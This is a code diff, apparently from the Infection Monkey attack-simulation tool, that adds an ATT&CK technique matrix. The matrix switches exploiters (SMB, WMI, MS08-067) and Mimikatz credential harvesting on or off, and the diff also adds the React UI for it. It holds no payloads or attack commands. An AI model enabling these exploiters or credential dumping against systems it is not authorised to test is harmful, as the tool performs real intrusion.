Applies ATT&CK matrix to the monkey configuration
:return:
"""
attack_techniques = AttackConfig.get_technique_values()
monkey_config = ConfigService.get_config(False, True, True)
monkey_schema = ConfigService.get_config_schema()
AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema)
AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema)
ConfigService.update_config(monkey_config, True)
@staticmethod
def set_arrays(attack_techniques, monkey_config, monkey_schema):
"""
Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
for key, definition in monkey_schema['definitions'].items():
for array_field in definition['anyOf']:
# Check if current array field has attack_techniques assigned to it
if 'attack_techniques' in array_field and array_field['attack_techniques']:
should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
attack_techniques)
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
@staticmethod
def set_booleans(attack_techniques, monkey_config, monkey_schema):
"""
Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
for key, value in monkey_schema['properties'].items():
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
@staticmethod
def r_set_booleans(path, value, attack_techniques, monkey_config):
"""
Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them
according to ATT&CK matrix.
:param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
:param value: Value of config property
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
"""
if isinstance(value, dict):
dictionary = {}
# If 'value' is a boolean value that should be set:
if 'type' in value and value['type'] == 'boolean' \
and 'attack_techniques' in value and value['attack_techniques']:
AttackConfig.set_bool_conf_val(path,
AttackConfig.should_enable_field(value['attack_techniques'],
attack_techniques),
monkey_config)
# If 'value' is dict, we go over each of it's fields to search for booleans
elif 'properties' in value:
dictionary = value['properties']
else:
dictionary = value
for key, item in dictionary.items():
path.append(key)
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
# Method enumerated everything in current path, goes back a level.
del path[-1]
@staticmethod
def set_bool_conf_val(path, val, monkey_config):
"""
Changes monkey's configuration by setting one of its boolean fields value
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
:param val: Boolean
:param monkey_config: Monkey's configuration
"""
util.set(monkey_config, '/'.join(path), val)
@staticmethod
def should_enable_field(field_techniques, users_techniques):
"""
Determines whether a single config field should be enabled or not.
:param field_techniques: ATT&CK techniques that field uses
:param users_techniques: ATT&CK techniques that user chose
:return: True, if user enabled all techniques used by the field, false otherwise
"""
for technique in field_techniques:
try:
if not users_techniques[technique]:
return False
except KeyError:
logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
return True
@staticmethod
def r_alter_array(config_value, array_name, field, remove=True):
"""
Recursively searches config (DFS) for array and removes/adds a field.
:param config_value: Some object/value from config
:param array_name: Name of array this method should search
:param field: Field in array that this method should add/remove
:param remove: Removes field from array if true, adds it if false
"""
if isinstance(config_value, dict):
if array_name in config_value and isinstance(config_value[array_name], list):
if remove and field in config_value[array_name]:
config_value[array_name].remove(field)
elif not remove and field not in config_value[array_name]:
config_value[array_name].append(field)
else:
for prop in config_value.items():
AttackConfig.r_alter_array(prop[1], array_name, field, remove)
@staticmethod
def get_technique_values():
"""
Parses ATT&CK config into a dict of techniques and corresponding values.
:return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...}
"""
attack_config = AttackConfig.get_config()
techniques = {}
for type_name, attack_type in attack_config['properties'].items():
for key, technique in attack_type['properties'].items():
techniques[key] = technique['value']
return techniques

View File

@ -0,0 +1,88 @@
SCHEMA = {
"title": "ATT&CK configuration",
"type": "object",
"properties": {
"initial_access": {
"title": "Initial access",
"type": "object",
"properties": {
"T1078": {
"title": "T1078 Valid accounts",
"type": "bool",
"value": True,
"necessary": False,
"description": "Mapped with T1003 Credential dumping because both techniques "
"require same credential harvesting modules. "
"Adversaries may steal the credentials of a specific user or service account using "
"Credential Access techniques or capture credentials earlier in their "
"reconnaissance process.",
"depends_on": ["T1003"]
}
}
},
"lateral_movement": {
"title": "Lateral movement",
"type": "object",
"properties": {
"T1210": {
"title": "T1210 Exploitation of Remote services",
"type": "bool",
"value": True,
"necessary": False,
"description": "Exploitation of a software vulnerability occurs when an adversary "
"takes advantage of a programming error in a program, service, or within the "
"operating system software or kernel itself to execute adversary-controlled code."
},
"T1075": {
"title": "T1075 Pass the hash",
"type": "bool",
"value": True,
"necessary": False,
"description": "Pass the hash (PtH) is a method of authenticating as a user without "
"having access to the user's cleartext password."
}
}
},
"credential_access": {
"title": "Credential access",
"type": "object",
"properties": {
"T1110": {
"title": "T1110 Brute force",
"type": "bool",
"value": True,
"necessary": False,
"description": "Adversaries may use brute force techniques to attempt access to accounts "
"when passwords are unknown or when password hashes are obtained.",
"depends_on": ["T1210"]
},
"T1003": {
"title": "T1003 Credential dumping",
"type": "bool",
"value": True,
"necessary": False,
"description": "Mapped with T1078 Valid Accounts because both techniques require"
" same credential harvesting modules. "
"Credential dumping is the process of obtaining account login and password "
"information, normally in the form of a hash or a clear text password, "
"from the operating system and software.",
"depends_on": ["T1078"]
}
}
},
"defence_evasion": {
"title": "Defence evasion",
"type": "object",
"properties": {
"T1197": {
"title": "T1197 Bits jobs",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may abuse BITS to download, execute, "
"and even clean up after running malicious code."
}
}
},
}
}

View File

@ -9,7 +9,12 @@ __author__ = "VakarisZ"
logger = logging.getLogger(__name__)
def set_results(technique, data):
class AttackTelemService(object):
def __init__(self):
pass
@staticmethod
def set_results(technique, data):
"""
Adds ATT&CK technique results(telemetry) to the database
:param technique: technique ID string e.g. T1110

View File

@ -13,42 +13,48 @@ SCHEMA = {
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
"title": "SMB Exploiter",
"attack_techniques": ["T1110", "T1075"]
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
"title": "WMI Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
"title": "MSSQL Exploiter"
"title": "MSSQL Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
"title": "RDP Exploiter (UNSAFE)",
"attack_techniques": []
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
"title": "MS08-067 Exploiter (UNSAFE)",
"attack_techniques": []
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
"title": "SSH Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
@ -111,6 +117,7 @@ SCHEMA = {
"BackdoorUser"
],
"title": "Back door user",
"attack_techniques": []
},
],
},
@ -123,14 +130,16 @@ SCHEMA = {
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
"title": "SMBFinger",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
"title": "SSHFinger",
"attack_techniques": ["T1210"]
},
{
"type": "string",
@ -151,14 +160,16 @@ SCHEMA = {
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
"title": "MySQLFinger",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
"title": "MSSQLFinger",
"attack_techniques": ["T1210"]
},
{
@ -166,16 +177,30 @@ SCHEMA = {
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
"title": "ElasticFinger",
"attack_techniques": ["T1210"]
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"title": "Basic - Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"should_exploit": {
"title": "Exploit network machines",
"type": "boolean",
"default": True,
"attack_techniques": ["T1210"],
"description": "Determines if monkey should try to safely exploit machines on the network"
}
}
},
"credentials": {
"title": "Credentials",
"type": "object",
@ -389,6 +414,7 @@ SCHEMA = {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"attack_techniques": ["T1003", "T1078"],
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
@ -402,6 +428,7 @@ SCHEMA = {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"attack_techniques": ["T1003", "T1078"],
"description": "Determines whether to use Mimikatz"
},
}

View File

@ -0,0 +1,31 @@
import logging
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify
from monkey_island.cc.database import mongo
logger = logging.getLogger(__name__)
class Database(object):
def __init__(self):
pass
@staticmethod
def reset_db():
remove_PBA_files()
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()
AttackConfig.reset_config()
logger.info('DB was reset')
return jsonify(status='OK')
@staticmethod
def init_db():
if not mongo.db.collection_names():
Database.reset_db()

View File

@ -4,9 +4,11 @@ from bson import ObjectId
import monkey_island.cc.services.log
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.utils import local_ip_addresses
import socket
from monkey_island.cc import models
__author__ = "itay.mizeretz"
@ -66,7 +68,7 @@ class NodeService:
def get_node_label(node):
domain_name = ""
if node["domain_name"]:
domain_name = " ("+node["domain_name"]+")"
domain_name = " (" + node["domain_name"] + ")"
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
@staticmethod
@ -104,7 +106,8 @@ class NodeService:
@staticmethod
def get_monkey_critical_services(monkey_id):
critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', [])
critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get(
'critical_services', [])
return critical_services
@staticmethod
@ -123,7 +126,7 @@ class NodeService:
monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey"
monkey_os = NodeService.get_monkey_os(monkey)
monkey_running = "" if monkey["dead"] else "_running"
monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running"
return "%s_%s%s" % (monkey_type, monkey_os, monkey_running)
@staticmethod
@ -135,13 +138,14 @@ class NodeService:
@staticmethod
def monkey_to_net_node(monkey, for_report=False):
label = monkey['hostname'] if for_report else NodeService.get_monkey_label(monkey)
is_monkey_dead = Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead()
return \
{
"id": monkey["_id"],
"label": label,
"group": NodeService.get_monkey_group(monkey),
"os": NodeService.get_monkey_os(monkey),
"dead": monkey["dead"],
"dead": is_monkey_dead,
"domain_name": "",
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
}
@ -293,7 +297,8 @@ class NodeService:
@staticmethod
def is_any_monkey_alive():
return mongo.db.monkey.find_one({'dead': False}) is not None
all_monkeys = models.Monkey.objects()
return any(not monkey.is_dead() for monkey in all_monkeys)
@staticmethod
def is_any_monkey_exists():

View File

@ -74,6 +74,7 @@
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
"moment": "^2.22.2",
"node-sass": "^4.11.0",
"normalize.css": "^8.0.0",
"npm": "^6.4.1",
"prop-types": "^15.6.2",
@ -93,7 +94,9 @@
"react-router-dom": "^4.3.1",
"react-table": "^6.8.6",
"react-toggle": "^4.0.1",
"react-tooltip-lite": "^1.9.1",
"redux": "^4.0.0",
"sass-loader": "^7.1.0",
"sha3": "^2.0.0",
"react-spinners": "^0.5.4",
"@emotion/core": "^10.0.10",

View File

@ -0,0 +1,119 @@
import React from 'react';
import Checkbox from '../ui-components/Checkbox'
import Tooltip from 'react-tooltip-lite'
import AuthComponent from '../AuthComponent';
import ReactTable from "react-table";
import 'filepond/dist/filepond.min.css';
import '../../styles/Tooltip.scss';
import {Col} from "react-bootstrap";
class MatrixComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {lastAction: 'none'}
};
// Finds which attack type has most techniques and returns that number
static findMaxTechniques(data){
let maxLen = 0;
data.forEach(function(techType) {
if (Object.keys(techType.properties).length > maxLen){
maxLen = Object.keys(techType.properties).length
}
});
return maxLen
};
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
static parseTechniques (data, maxLen) {
let techniques = [];
// Create rows with attack techniques
for (let i = 0; i < maxLen; i++) {
let row = {};
data.forEach(function(techType){
let rowColumn = {};
rowColumn.techName = techType.title;
if (i <= Object.keys(techType.properties).length) {
rowColumn.technique = Object.values(techType.properties)[i];
if (rowColumn.technique){
rowColumn.technique.name = Object.keys(techType.properties)[i]
}
} else {
rowColumn.technique = null
}
row[rowColumn.techName] = rowColumn
});
techniques.push(row)
}
return techniques;
};
getColumns(matrixData) {
return Object.keys(matrixData[0]).map((key)=>{
return {
Header: key,
id: key,
accessor: x => this.renderTechnique(x[key].technique),
style: { 'whiteSpace': 'unset' }
};
});
}
renderTechnique(technique) {
if (technique == null){
return (<div />)
} else {
return (<Tooltip content={technique.description} direction="down">
<Checkbox checked={technique.value}
necessary={technique.necessary}
name={technique.name}
changeHandler={this.props.change}>
{technique.title}
</Checkbox>
</Tooltip>)
}
};
getTableData = (config) => {
let configCopy = JSON.parse(JSON.stringify(config));
let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));
let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques);
let columns = this.getColumns(matrixTableData);
return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques}
};
renderLegend = () => {
return (
<div id="header" className="row justify-content-between attack-legend">
<Col xs={4}>
<i className="fa fa-circle-thin icon-unchecked"></i>
<span> - Dissabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-checked"></i>
<span> - Enabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-mandatory"></i>
<span> - Mandatory</span>
</Col>
</div>)
};
render() {
let tableData = this.getTableData(this.props.configuration);
return (
<div>
{this.renderLegend()}
<div className={"attack-matrix"}>
<ReactTable columns={tableData['columns']}
data={tableData['matrixTableData']}
showPagination={false}
defaultPageSize={tableData['maxTechniques']} />
</div>
</div>);
}
}
export default MatrixComponent;

View File

@ -1,20 +1,47 @@
import React from 'react';
import Form from 'react-jsonschema-form';
import {Col, Nav, NavItem} from 'react-bootstrap';
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
import MatrixComponent from "../attack/MatrixComponent";
const ATTACK_URL = '/api/attack';
const CONFIG_URL = '/api/configuration/island';
class ConfigurePageComponent extends AuthComponent {
constructor(props) {
super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
this.currentSection = 'basic';
this.currentSection = 'attack';
this.currentFormData = {};
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchema = {
this.initialConfig = {};
this.initialAttackConfig = {};
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchemas = this.getUiSchemas();
// set schema from server
this.state = {
schema: {},
configuration: {},
attackConfig: {},
lastAction: 'none',
sections: [],
selectedSection: 'attack',
allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: [],
showAttackAlert: false
};
}
getUiSchemas(){
return ({
basic: {"ui:order": ["general", "credentials"]},
basic_network: {},
monkey: {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
@ -39,46 +66,72 @@ class ConfigurePageComponent extends AuthComponent {
"ui:emptyValue": ""
}
}
};
// set schema from server
this.state = {
schema: {},
configuration: {},
lastAction: 'none',
sections: [],
selectedSection: 'basic',
allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: []
};
},
cnc: {},
network: {},
exploits: {},
internal: {}
})
}
componentDidMount() {
this.authFetch('/api/configuration/island')
.then(res => res.json())
.then(res => {
setInitialConfig(config) {
// Sets a reference to know if config was changed
this.initialConfig = JSON.parse(JSON.stringify(config));
}
setInitialAttackConfig(attackConfig) {
// Sets a reference to know if attack config was changed
this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
}
componentDidMount = () => {
let urls = [CONFIG_URL, ATTACK_URL];
Promise.all(urls.map(url => this.authFetch(url).then(res => res.json())))
.then(data => {
let sections = [];
let attackConfig = data[1];
let monkeyConfig = data[0];
this.setInitialConfig(monkeyConfig.configuration);
this.setInitialAttackConfig(attackConfig.configuration);
for (let sectionKey of this.sectionsOrder) {
sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title});
if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
}
this.setState({
schema: res.schema,
configuration: res.configuration,
schema: monkeyConfig.schema,
configuration: monkeyConfig.configuration,
attackConfig: attackConfig.configuration,
sections: sections,
selectedSection: 'basic'
selectedSection: 'attack'
})
});
this.updateMonkeysRunning();
}
};
onSubmit = ({formData}) => {
this.currentFormData = formData;
this.updateConfigSection();
this.authFetch('/api/configuration/island',
updateConfig = () => {
this.authFetch(CONFIG_URL)
.then(res => res.json())
.then(data => {
this.setInitialConfig(data.configuration);
this.setState({configuration: data.configuration})
})
};
onSubmit = () => {
if (this.state.selectedSection === 'attack'){
this.matrixSubmit()
} else {
this.configSubmit()
}
};
matrixSubmit = () => {
// Submit attack matrix
this.authFetch(ATTACK_URL,
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
body: JSON.stringify(this.state.attackConfig)
})
.then(res => {
if (!res.ok)
@ -87,6 +140,18 @@ class ConfigurePageComponent extends AuthComponent {
}
return res;
})
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
.then(this.updateConfig())
.then(this.setState({lastAction: 'saved'}))
.catch(error => {
this.setState({lastAction: 'invalid_configuration'});
});
};
configSubmit = () => {
// Submit monkey configuration
this.updateConfigSection();
this.sendConfig()
.then(res => res.json())
.then(res => {
this.setState({
@ -94,6 +159,7 @@ class ConfigurePageComponent extends AuthComponent {
schema: res.schema,
configuration: res.configuration
});
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
}).catch(error => {
console.log('bad configuration');
@ -101,6 +167,32 @@ class ConfigurePageComponent extends AuthComponent {
});
};
// Alters attack configuration when user toggles technique
attackTechniqueChange = (technique, value, mapped=false) => {
// Change value in attack configuration
// Go trough each column in matrix, searching for technique
Object.entries(this.state.attackConfig).forEach(techType => {
if(techType[1].properties.hasOwnProperty(technique)){
let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix});
// Toggle all mapped techniques
if (! mapped ){
// Loop trough each column and each row
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
this.attackTechniqueChange(otherTech[0], value, true)
}
})
});
}
}
});
};
onChange = ({formData}) => {
this.currentFormData = formData;
};
@ -111,10 +203,48 @@ class ConfigurePageComponent extends AuthComponent {
newConfig[this.currentSection] = this.currentFormData;
this.currentFormData = {};
}
this.setState({configuration: newConfig});
this.setState({configuration: newConfig, lastAction: 'none'});
};
renderAttackAlertModal = () => {
return (<Modal show={this.state.showAttackAlert} onHide={() => {this.setState({showAttackAlert: false})}}>
<Modal.Body>
<h2><div className="text-center">Warning</div></h2>
<p className = "text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
You have unsubmitted changes. Submit them before proceeding.
</p>
<div className="text-center">
<button type="button"
className="btn btn-success btn-lg"
style={{margin: '5px'}}
onClick={() => {this.setState({showAttackAlert: false})}} >
Cancel
</button>
</div>
</Modal.Body>
</Modal>)
};
userChangedConfig(){
if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
if(Object.keys(this.currentFormData).length === 0 ||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
return false;
}
}
return true;
}
userChangedMatrix(){
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
}
setSelectedSection = (key) => {
if ((key === 'attack' && this.userChangedConfig()) ||
(this.currentSection === 'attack' && this.userChangedMatrix())){
this.setState({showAttackAlert: true});
return;
}
this.updateConfigSection();
this.currentSection = key;
this.setState({
@ -124,7 +254,7 @@ class ConfigurePageComponent extends AuthComponent {
resetConfig = () => {
this.removePBAfiles();
this.authFetch('/api/configuration/island',
this.authFetch(CONFIG_URL,
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
@ -137,8 +267,17 @@ class ConfigurePageComponent extends AuthComponent {
schema: res.schema,
configuration: res.configuration
});
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
});
this.authFetch(ATTACK_URL,{ method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify('reset_attack_matrix')})
.then(res => res.json())
.then(res => {
this.setState({attackConfig: res.configuration});
this.setInitialAttackConfig(res.configuration);
})
};
removePBAfiles(){
@ -160,9 +299,8 @@ class ConfigurePageComponent extends AuthComponent {
try {
this.setState({
configuration: JSON.parse(event.target.result),
selectedSection: 'basic',
lastAction: 'import_success'
});
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
this.currentSection = 'basic';
this.currentFormData = {};
} catch(SyntaxError) {
@ -175,6 +313,26 @@ class ConfigurePageComponent extends AuthComponent {
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
};
sendConfig() {
return (
this.authFetch('/api/configuration/island',
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
}).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
}));
};
importConfig = (event) => {
let reader = new FileReader();
reader.onload = this.onReadFile;
@ -251,13 +409,12 @@ class ConfigurePageComponent extends AuthComponent {
}
static getFullPBAfile(filename){
let pbaFile = [{
return [{
source: filename,
options: {
type: 'limbo'
}
}];
return pbaFile
}
static getMockPBAfile(mockFile){
@ -271,39 +428,29 @@ class ConfigurePageComponent extends AuthComponent {
return pbaFile
}
render() {
let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties')) {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}
return (
<Col xs={12} lg={8}>
<h1 className="page-title">Monkey Configuration</h1>
<Nav bsStyle="tabs" justified
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
style={{'marginBottom': '2em'}}>
{this.state.sections.map(section =>
<NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>
)}
</Nav>
{
this.state.selectedSection === 'basic_network' ?
<div className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
according to its range class.
</div>
: <div />
}
{ this.state.selectedSection ?
renderMatrix = () => {
return (<MatrixComponent configuration={this.state.attackConfig}
submit={this.componentDidMount}
reset={this.resetConfig}
change={this.attackTechniqueChange}/>)
};
renderConfigContent = (displayedSchema) => {
return (<div>
{this.renderBasicNetworkWarning()}
<Form schema={displayedSchema}
uiSchema={this.uiSchema}
uiSchema={this.uiSchemas[this.state.selectedSection]}
formData={this.state.configuration[this.state.selectedSection]}
onSubmit={this.onSubmit}
onChange={this.onChange}
noValidate={true}>
<div>
noValidate={true} >
<button type="submit" className={"hidden"}>Submit</button>
</Form>
</div> )
};
renderRunningMonkeysWarning = () => {
return (<div>
{ this.state.allMonkeysAreDead ?
'' :
<div className="alert alert-warning">
@ -312,17 +459,57 @@ class ConfigurePageComponent extends AuthComponent {
infections.
</div>
}
</div>)
};
renderBasicNetworkWarning = () => {
if (this.state.selectedSection === 'basic_network'){
return (<div className="alert alert-info">
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
according to its range class.
</div>)
} else {
return (<div />)
}
};
renderNav = () => {
return (<Nav bsStyle="tabs" justified
activeKey={this.state.selectedSection} onSelect={this.setSelectedSection}
style={{'marginBottom': '2em'}}>
{this.state.sections.map(section => <NavItem key={section.key} eventKey={section.key}>{section.title}</NavItem>)}
</Nav>)
};
render() {
let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions'];
}
let content = '';
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
content = this.renderMatrix()
} else if(this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
return (
<Col xs={12} lg={8}>
{this.renderAttackAlertModal()}
<h1 className="page-title">Monkey Configuration</h1>
{this.renderNav()}
{ this.renderRunningMonkeysWarning()}
{ content }
<div className="text-center">
<button type="submit" className="btn btn-success btn-lg" style={{margin: '5px'}}>
<button type="submit" onClick={this.onSubmit} className="btn btn-success btn-lg" style={{margin: '5px'}}>
Submit
</button>
<button type="button" onClick={this.resetConfig} className="btn btn-danger btn-lg" style={{margin: '5px'}}>
Reset to defaults
</button>
</div>
</div>
</Form>
: ''}
<div className="text-center">
<button onClick={() => document.getElementById('uploadInputInternal').click()}
className="btn btn-info btn-lg" style={{margin: '5px'}}>
@ -355,7 +542,7 @@ class ConfigurePageComponent extends AuthComponent {
{ this.state.lastAction === 'invalid_configuration' ?
<div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
An invalid configuration file was imported and submitted, probably outdated.
An invalid configuration file was imported or submitted.
</div>
: ''}
{ this.state.lastAction === 'import_success' ?

View File

@ -2,7 +2,7 @@ import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
return <span>{val.map(x => <span> {x}</span>)}</span>;
return <span>{val.map(x => <span key={x}> {x}</span>)}</span>;
};
let renderIpAddresses = function (val) {
@ -36,7 +36,7 @@ let renderDetails = function (data) {
columns={subColumns}
defaultPageSize={defaultPageSize}
showPagination={showPagination}
style={{"background-color": "#ededed"}}
style={{"backgroundColor": "#ededed"}}
/>
};

View File

@ -0,0 +1,73 @@
import '../../styles/Checkbox.scss'
import React from 'react';
class CheckboxComponent extends React.PureComponent {
componentDidUpdate(prevProps) {
if (this.props.checked !== prevProps.checked) {
this.setState({checked: this.props.checked});
}
}
/*
Parent component can pass a name and a changeHandler (function) for this component in props.
changeHandler(name, checked) function will be called with these parameters:
this.props.name (the name of this component) and
this.state.checked (boolean indicating if this component is checked or not)
*/
constructor(props) {
super(props);
this.state = {
checked: this.props.checked,
necessary: this.props.necessary,
isAnimating: false
};
this.toggleChecked = this.toggleChecked.bind(this);
this.stopAnimation = this.stopAnimation.bind(this);
this.composeStateClasses = this.composeStateClasses.bind(this);
}
//Toggles component.
toggleChecked() {
if (this.state.isAnimating) {return false;}
this.setState({
checked: !this.state.checked,
isAnimating: true,
}, () => { this.props.changeHandler ? this.props.changeHandler(this.props.name, this.state.checked) : null});
}
// Stops ping animation on checkbox after click
stopAnimation() {
this.setState({ isAnimating: false })
}
// Creates class string for component
composeStateClasses(core) {
let result = core;
if (this.state.necessary){
return result + ' blocked'
}
if (this.state.checked) { result += ' is-checked'; }
else { result += ' is-unchecked' }
if (this.state.isAnimating) { result += ' do-ping'; }
return result;
}
render() {
const cl = this.composeStateClasses('ui-checkbox-btn');
return (
<div
className={ cl }
onClick={ this.state.necessary ? void(0) : this.toggleChecked}>
<input className="ui ui-checkbox"
type="checkbox" value={this.state.checked}
name={this.props.name}/>
<label className="text">{ this.props.children }</label>
<div className="ui-btn-ping" onTransitionEnd={this.stopAnimation}></div>
</div>
)
}
}
export default CheckboxComponent;

View File

@ -186,6 +186,10 @@ body {
.nav-tabs > li > a {
height: 63px
}
.nav > li > a:focus {
background-color: transparent !important;
}
/*
* Run Monkey Page
*/
@ -516,6 +520,16 @@ body {
}
/* Attack config page */
.attack-matrix .messages {
margin-bottom: 30px;
}
.attack-legend {
text-align: center;
margin-bottom: 20px;
}
.version-text {
font-size: 0.9em;
position: absolute;

View File

@ -0,0 +1,105 @@
// colors
$light-grey: #EAF4F4;
$medium-grey: #7B9EA8;
$dark-green: #007d02;
$green: #44CF6C;
$black: #000000;
.ui-checkbox-btn {
position: relative;
display: inline-block;
background-color: rgba(red, .6);
text-align: center;
width: 100%;
height: 100%;
input { display: none; }
.icon,
.text {
display: inline-block;
color: inherit;
}
.text {
padding-top: 4px;
font-size: 14px;
}
// color states
&.is-unchecked {
background-color: transparent;
color: $black;
fill: $black;
}
&.blocked {
background-color: $dark-green;
color: $light-grey;
fill: $light-grey;
}
&.is-checked {
background-color: $green;
color: white;
fill: white;
}
}
.icon {
position: relative;
display: inline-block;
svg {
position: absolute;
top: 0; right: 0; bottom: 0; left: 0;
margin: auto;
width: 16px;
height: auto;
fill: inherit;
}
.is-checked & {
color: white;
fill: white;
}
}
// ping animation magic
